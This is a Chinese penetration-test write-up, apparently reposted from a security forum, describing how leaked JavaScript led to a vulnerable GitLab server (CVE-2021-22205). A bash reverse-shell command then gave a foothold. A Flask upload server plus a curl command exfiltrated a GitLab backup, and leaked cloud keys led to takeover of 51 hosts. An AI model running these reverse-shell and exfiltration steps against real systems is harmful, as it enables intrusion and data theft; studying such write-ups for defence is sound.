记一次渗透中因为JS拿下整个云

admin 2023年11月3日08:54:36评论11 views字数 1667阅读5分33秒阅读模式
首先给到一个资产是二维码,是一张色色图片里面带有约炮的 app 下载,扫码后得到如下结果

记一次渗透中因为JS拿下整个云

得到如下结果:https://www.target.com

后进行访问主站,注册成功后发现全是妹子,这个时候先别急,咱第一步先去看他调用的 JS 资源,随便点击一个资源然后刷新一下看他 F12 网络

这里首先我只能用当时留下的毫无关联的图片进行演示了,当时我看到的 JS 文件叫 MyProfile

记一次渗透中因为JS拿下整个云

JS断点调试

这个凭借个人感觉就是个关键信息 (我的资料 -> 配置信息?)

所以凭借这些理由,我在 XHR 中锁定了 MyProfile 这个关键字进行 JS 断点

记一次渗透中因为JS拿下整个云

然后刷新进行调试 在漫长的调试过程中我发现在一个很奇怪的 JS文件 中调用了我的 MyProfile 字段 叫 /assets/index-xxxxxx.js

一般来说我就会去审计一下这个 JS文件,结果发现好东西了

记一次渗透中因为JS拿下整个云

bindgen: "git+http://123.123.123.123:1111/target2/a.git#0.0.14"

新突破

我当时就立刻去访问了一下,发现竟然是一个 Gitlab!

记一次渗透中因为JS拿下整个云

找了一下历史漏洞,直接 CVE-2021-22205 梭哈,成功拿到 shell

记一次渗透中因为JS拿下整个云

由于是执行命令,所以写了 shell 反弹

echo 'bash -i >& /dev/tcp/123.123.123.123/1111 0>&1' > /tmp/haha.sh
chmod +x /tmp/haha.sh
/bin/bash /tmp/haha.sh

成功反弹 shell

记一次渗透中因为JS拿下整个云

发现是 ubunto16.04 但是本地提权失败,找了 SUID 也没有办法,想尽了各种办法都没办法提权,打算放弃了,所以接下来就是去寻找 Git 权限能做的操作,找了一个下午,最终找到了 backups 目录里下找到了一个 backuptar 包,应该八成就是 gitlab 上的备份了

记一次渗透中因为JS拿下整个云

Flask取文件

但是问题来了,我怎么做到在我反弹 shell 中把文件拖出来了呢?scp 等都试过了不行,于是乎我就写了个 flask 的上传页面让 shellcurl 一下把文件 post 上来 (感觉这思路骚的)

我的服务器

from flask import Flask,request
import os

app = Flask(__name__)
@app.route('/upload',methods=['POST'])
def upload_file():
file = request.files.get('file')
if file :
filename = file.filename
file.save(os.path.join(os.getcwd(),filename))
return f"File {filename} saved successfully"
else:
return "worry"

if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True,port=5000)

受控主机执行文件上传命令

curl -X POST http://123.123.123.123:1111/upload -F file=@./a.gitlab_backup.tar

云沦陷

几个G,下载漫长的很呢

拖到本地后应该就是 gitlab 的备份了,(因为他备份文件名字中带有 gitlab 的版本号)要用对应的 gitlab 的相应版本去搭建,然后本地搭建导入备份后慢慢的寻找一些有用信息,后面突然发现一个叫 application.yaml 的文件,进行审计后泄露了 aksk(这开发倒是备份挺明白的全部都写清清楚楚)

记一次渗透中因为JS拿下整个云

这个时候行云管家一把梭哈,因为权限很大,接管整个云了,总共是 51 台主机都拿下了

总结

思路就是:打点 -> JS文件断点调试 -> 新突破上shell -> 解决困难-> 发现新大陆(本地搭建) -> 接管云

最后全部打包好给了 GA,也进行取证 立A 了,到此因为一个 JS 文件拿下整个云结束了,思路可以学习一波。

文章作者:1201463046740633原文地址:https://xz.aliyun.com/t/12698
记一次渗透中因为JS拿下整个云

原文始发于微信公众号(刨洞安全团队):记一次渗透中因为JS拿下整个云

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月3日08:54:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次渗透中因为JS拿下整个云http://cn-sec.com/archives/2171628.html

发表评论

匿名网友 填写信息